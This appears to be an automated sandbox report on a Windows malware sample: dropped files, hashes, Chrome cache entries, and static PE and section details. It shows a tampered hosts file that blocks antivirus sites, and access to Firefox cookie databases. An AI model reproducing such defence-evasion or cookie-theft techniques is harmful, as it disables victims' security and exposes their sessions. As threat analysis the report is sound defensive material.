Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xwb3vns.trm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k4jokapo.lug.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z42qrlkd.3sd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\ProgramData\EHDHDHIECG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2748
Entropy (8bit):	4.269302338623222
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
MD5:	7B1D6A1E1228728A16B66C3714AA9A23
SHA1:	8B59677A3560777593B1FA7D67465BBD7B3BC548
SHA-256:	3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
SHA-512:	573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465481309713029
Encrypted:	false
SSDEEP:	6144:5IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN3dwBCswSbq:KXD94+WlLZMM6YFHJ+q
MD5:	C5F743E5CAFFE62B434962BDF7BF8085
SHA1:	246AE8CF1D7472CCC1D7C870CF16090C803D248D
SHA-256:	34AF1A369867E8AC12042CAEC26E6F3B1AF390EE5A1F032BB6D3917C2F098D29
SHA-512:	207E48771923C29ABC02BA292731695534016D4A7E817E41DA8E8FCF012D67F770FCF22BCCCD207E783664F7FBD73655EB9BC641DC029ED1E0C7EEB09209E370
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm. .[,............................................................................................................................................................................................................................................................................................................................................../...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (785)
Category:	downloaded
Size (bytes):	790
Entropy (8bit):	5.163465043174294
Encrypted:	false
SSDEEP:	24:ydbZt9BBHslgT9lCuABuoB7HHHHHHHYqmffffffo:ydbZtbKlgZ01BuSEqmffffffo
MD5:	D407030E179BA8914017B45A08761F73
SHA1:	C96C37623412551387C39B73CF633EE7E5E06C4D
SHA-256:	C6B162E3CBDC006C823FBDD707381FD125B804780769525F02A83A9497814DBB
SHA-512:	9ADC67C0A2E41097089148C90A4D528A3E86FA873458111F81630518C8007E7E6A4C61178D382CAC908C8B2C999EDB84A77596EDAC4E763333616E15EBF20607
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["cod zombies best guns","pittsburgh steelers trade deadline","hawaii mauna kea snowfall","happy diwali festival","amaran movie review","walmart black friday sales","chatgpt search engine","san antonio spurs vs utah jazz box score"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133747
Entropy (8bit):	5.436435310433538
Encrypted:	false
SSDEEP:	3072:2PBvjxd0QniyZ+qQf4VBNQ0pqRvx7U+OUaKszQ:EBvv0yTVBNQ0pIvxI+ORQ
MD5:	55596A0B008D19DC89FF4FCA462F3F52
SHA1:	C54EAFCAFD31E72D0A4DA20E65B1789E9987F0B0
SHA-256:	A9470C1C57329D9984604D2AFE9A46D573D2CC29739343450A1BE2D4627BDD17
SHA-512:	108FE2498D75BD44E5DF9BBF6B8F0501F55B48C6B410D3376FBEE75A230A3660CE234046EF9AA44D544AFE7F759B15EA497E43A1E0C4E5CCA661EA2DC9C30137
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5489224052408765
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xLgTQcFdIJ.exe
File size:	649'728 bytes
MD5:	f299a21673da1c7f3884cda4855d5177
SHA1:	eb72ff743adb3f39e90e27684594b81c6cb7032d
SHA256:	6094e2400b66c9d53bdd5f0de67d37705207af0283d00d531105ce0fee86f25b
SHA512:	706a71cc55bd25b05ba5e6c097584636e56045b59ce3cf2e75fc87060770739bc5e4d35a189346fc1e604d6708a72765fd012bb0e3be604e6db45248df8071ea
SSDEEP:	12288:vO0xCZjcMm39RYRosPzxxzFebqCp1KycMxymsraCZrBO:Lx8wM0RYBZFk/77cMZstBO
TLSH:	36D4F114B9F195A6F6F38A746D7CE7949BF7F8676831814E22083F0E0A762D08B65703
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W}..6.Z.6.Z.6.Z4y.Z.6.Z.d.Z.6.Z.d.Z.6.Z.d.Z.6.Z..hZ.6.Z.6.Z.6.Z.d.Z.6.Z.d.Z.6.Z.d.Z.6.ZRich.6.Z........PE..L.....Ie...........

File Icon


Icon Hash:	738733b18bab83e0

Static PE Info

General

Entrypoint:	0x4017d7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6549AAEA [Tue Nov 7 03:11:38 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	9ed146f7c8ff1a04625e34c1f119649c

Entrypoint Preview

Instruction
call 00007FB799415BC3h
jmp 00007FB79941204Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0048C798h], eax
mov dword ptr [0048C794h], ecx
mov dword ptr [0048C790h], edx
mov dword ptr [0048C78Ch], ebx
mov dword ptr [0048C788h], esi
mov dword ptr [0048C784h], edi
mov word ptr [0048C7B0h], ss
mov word ptr [0048C7A4h], cs
mov word ptr [0048C780h], ds
mov word ptr [0048C77Ch], es
mov word ptr [0048C778h], fs
mov word ptr [0048C774h], gs
pushfd
pop dword ptr [0048C7A8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0048C79Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0048C7A0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0048C7ACh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0048C6E8h], 00010001h
mov eax, dword ptr [0048C7A0h]
mov dword ptr [0048C69Ch], eax
mov dword ptr [0048C690h], C0000409h
mov dword ptr [0048C694h], 00000001h
mov eax, dword ptr [0048B004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0048B008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000ECh]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8994c	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2791000	0x10bd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x88000	0x1a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8683c	0x86a00	b71b99a0258ebd2a8efc3680ce6ec48a	False	0.9232659441736305	data	7.845308640839874	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x88000	0x22ce	0x2400	b121559c9cfbf70635b48e1ea4a65f46	False	0.3570963541666667	data	5.454427798238685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x8b000	0x2705398	0x4c00	ee6bd081d28b507df28fb8700800d568	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2791000	0x10bd0	0x10c00	a00be95e70e05f46555c23b865296940	False	0.4484462453358209	data	4.972913232727671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
JUPILAMADUSAGIGIXOYANEXUF	0x279bd48	0x3fa	ASCII text, with very long lines (1018), with no line terminators	Turkish	Turkey	0.6237721021611002
KIZEWEJAJUDIM	0x279b150	0xbf7	ASCII text, with very long lines (3063), with no line terminators	Turkish	Turkey	0.6010447273914463
RT_ICON	0x2791750	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.32569296375266527
RT_ICON	0x27925f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5121841155234657
RT_ICON	0x2792ea0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.5478110599078341
RT_ICON	0x2793568	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.5924855491329479
RT_ICON	0x2793ad0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.4230290456431535
RT_ICON	0x2796078	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.49918032786885247
